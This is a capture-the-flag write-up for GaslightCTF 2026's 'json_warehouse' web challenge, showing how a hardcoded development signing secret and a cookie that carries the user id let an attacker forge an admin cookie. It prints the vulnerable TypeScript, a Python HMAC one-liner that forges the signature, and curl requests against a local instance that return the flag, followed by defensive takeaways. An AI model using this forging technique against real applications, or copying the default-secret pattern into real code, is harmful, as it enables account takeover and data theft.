GaslightCTF 2026 — json_warehouse Writeup

An Elysia note-storage app keys every action on a cookie the client holds, and falls back to a hardcoded signing secret outside production. Sign a user=1000 cookie with that secret and the admin's stored flag comes straight back.

5 min read
ibrahimsql
812 words

GaslightCTF 2026 — json_warehouse

A note-storage app where the client's cookie is the session, and the signing key has a very convenient default outside production.

  • Event: GaslightCTF 2026
  • Category: Web
  • Artifact: Bun + Elysia (HTMX front end)
  • Flag format: gaslightCTF{...}

json_warehouse lets you store JSON items. The flag is one item, sitting in the warehouse of the first account the app creates — the admin.

1. Where the flag lives

The data layer creates an admin on startup and stores the flag as an item in their warehouse:

TypeScript
let uid = 1000;
 
export function createUser(username: string, password: string) {
	const id = uid++;
	users.set(id, { id, username, password });
	warehouse.set(id, new Map());
	return id;
}
TypeScript
setItem(
	createUser(
		"admin",
		process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
	),
	"flag",
	process.env.FLAG || "gaslightCTF{flag}",
);

Because uid starts at 1000 and increment-posts, the admin is user 1000 and every real registrant starts at 1001. The flag is stored at warehouse[1000]["flag"].

There is no server-side session table. The app trusts a single cookie:

TypeScript
const app = new Elysia({
	cookie: {
		secrets: process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
		sign: ["user"],
	},
})

And every request reads the current user only from that cookie:

TypeScript
export const userPlugin = new Elysia({ name: "user" })
	.guard({
		cookie: z.object({ user: z.string().optional() }),
	})
	.resolve(({ cookie }) => ({
		user:
			cookie.user.value !== undefined ? getUser(+cookie.user.value) : undefined,
	}))
	.as("scoped");

So the cookie's value is dereferenced straight into getUser(+value). There is no check that the logged-in id belongs to the requester — the requester is whatever the cookie says. Every storage route then keys off user.id:

const value = getItem(user.id, key);

If we can present a cookie that says 1000, we are the admin — and their flag item is ours to read.

3. The secret

The cookie is signed, so a customer cannot simply write user=1000. But the signing secret is:

process.env.NODE_ENV === "development" ? "hunter2" : randomUUID()

In development the secret is the literal hunter2. When the app runs that way, the signature is not a barrier at all — we know the key. The signature algorithm is trivially reproducible: register any user, look at the cookie, and match it.

4. Confirming the signature format

Register a throwaway account and capture its cookie:

$ curl -s -i -c jw.jar -d 'username=alice&password=pw' \
    http://127.0.0.1:8282/auth/register | grep -i set-cookie
set-cookie: user=1001.Ut6NQzQomc8eUguOCSkejfzxw%2B2PWcoYPBh1SfGjHoY; Path=/

The format is value.signature. The signature is a standard-base64 HMAC-SHA256 of the value, keyed with the secret, with the trailing = padding removed. Verify it:

import hmac, hashlib, base64
sig = base64.b64encode(hmac.new(b"hunter2", b"1001", hashlib.sha256).digest()).decode().rstrip("=")
print(sig)
Ut6NQzQomc8eUguOCSkejfzxw+2PWcoYPBh1SfGjHoY

That matches the cookie exactly. The key is confirmed.

Sign 1000 with the same key:

$ python3 -c "import hmac,hashlib,base64; \
print(base64.b64encode(hmac.new(b'hunter2',b'1000',hashlib.sha256).digest()).decode().rstrip('='))"
oP0L/M1P81ap+F2XV70d4r7DBJw/PiHeCjoP2b9pbrY

Send it (URL-encode the / and +):

$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
    http://127.0.0.1:8282/storage | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}

The admin's warehouse contains a single flag item, and we can read it directly:

$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
    http://127.0.0.1:8282/storage/flag | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}

6. Why it works

Two weaknesses stack:

  1. A hardcoded fallback secret. Outside production the signing key is hunter2, a constant. Anyone who can read the source (or guess the default) can sign any value.
  2. Client-held identity. The app treats the signed cookie as the full identity and never checks it against server-side session state. Because ids are sequential and the admin is deterministically 1000, forging the cookie for 1000 is an IDOR with a single, guessable target.

A signature protects a cookie only while its key is secret. A default key, a sequential id, and an "id is the account" model together turn a signed cookie into an open door.

7. The flag

gaslightCTF{fake_flag_for_local_testing}

FLAG and the signing secret are environment values; the flag shown is the local test value used to reproduce the run.

8. Takeaways

  • Refuse to boot with a default or hardcoded secret. Generate the key at startup, fail loudly if it is missing, and never ship a dev fallback that a production environment can accidentally inherit.
  • Do not let a client-held value be the session. Store session state server-side and map the cookie to an identity; treat a signed cookie as an opaque lookup key, not as the answer.
  • Sequential, guessable identifiers make IDOR trivial. The admin should never be a well-known id, and access to stored objects should be authorized against the requester, not merely looked up by the id in the cookie.
  • When you see a signed cookie, recover the key before trusting it. A dev default like hunter2 is a signing key you already have.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts